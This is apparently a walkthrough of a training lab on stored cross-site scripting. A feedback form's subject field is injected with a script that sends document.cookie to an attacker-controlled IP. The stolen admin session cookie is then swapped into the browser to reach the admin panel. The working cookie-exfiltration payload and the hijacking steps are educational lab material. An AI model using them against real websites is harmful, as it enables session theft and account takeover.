

XSS

We have credentials to log in. Let's use them to login and check for vulnerable input fields.

XSSLAB.PTS

Enter text here

HOME

BLOG

CONTACT

LOGIN



Username:

Password:

Login

While checking, I noticed that feedback form subject field is vulnerable to stored XSS.

Leave Us A Feedback

Name

hello

E-Mail

hala@hala

Subject

<h1>hi</h1>|



HTML code worked in it.

User: hello

hi

So, since the aim of the lab is to get the admin cookies and login as admin, let's insert the cookie stealing payload into the subject field.

Leave Us A Feedback

Name

test

E-Mail

test@gmail

Subject

```
<script>
var i = new Image();
i.src="http://192.168.99.11/get.php?cookies="+document.cookie;
</script>
```



After a while, we got the admin cookies in our jar.txt file

```
← → ↻ ⚠ Not secure | 192.168.99.11/jar.txt
Apps Electronic libra... North Goa VS S... Parvati Valley -... Null Byte — Th... Free Cyber Sec... Malpe Beach |...

192.168.99.100 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
cookies=PHPSESSID=mqot5f7kaj57gqolit7ubcsbm3

192.168.99.11 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Icedweasel/31.2.0
cookies=PHPSESSID=drjlcrrv3oi6eio3ce5v8ffseb5
```

Let's replace our session cookie with this one. We can do this in the inspect window on firefox, under the storage tab.

Manifest

Service Workers

Storage

Storage

- ▶ Local Storage
- ▶ Session Storage
- IndexedDB
- Web SQL
- ▼ Cookies
 - http://192.168.99.10
- Trust Tokens

Name	Value	D.	P.	E.	S.	H.
PHPS...	drjlcry3oi6eio...	1970-01-01	/		S..	3..

We got the admin session while refreshing the page.

Hi admin

CONTACT

[LOGOUT](#)

ADMIN PAGE

We also accessed the admin panel.

[HOME](#)[BLOG](#)[CONTACT](#)[LOGOUT](#)[ADMIN PAGE](#)

Admin Pannel

CONGRATULATIONS! YOU DID IT!